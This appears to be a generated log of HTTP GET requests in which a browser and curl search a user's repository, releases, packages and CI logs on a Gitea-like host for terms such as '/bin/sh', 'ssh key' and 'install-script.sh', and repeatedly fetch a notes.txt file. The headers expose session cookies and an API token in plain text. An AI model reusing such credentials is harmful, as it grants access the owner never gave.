{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
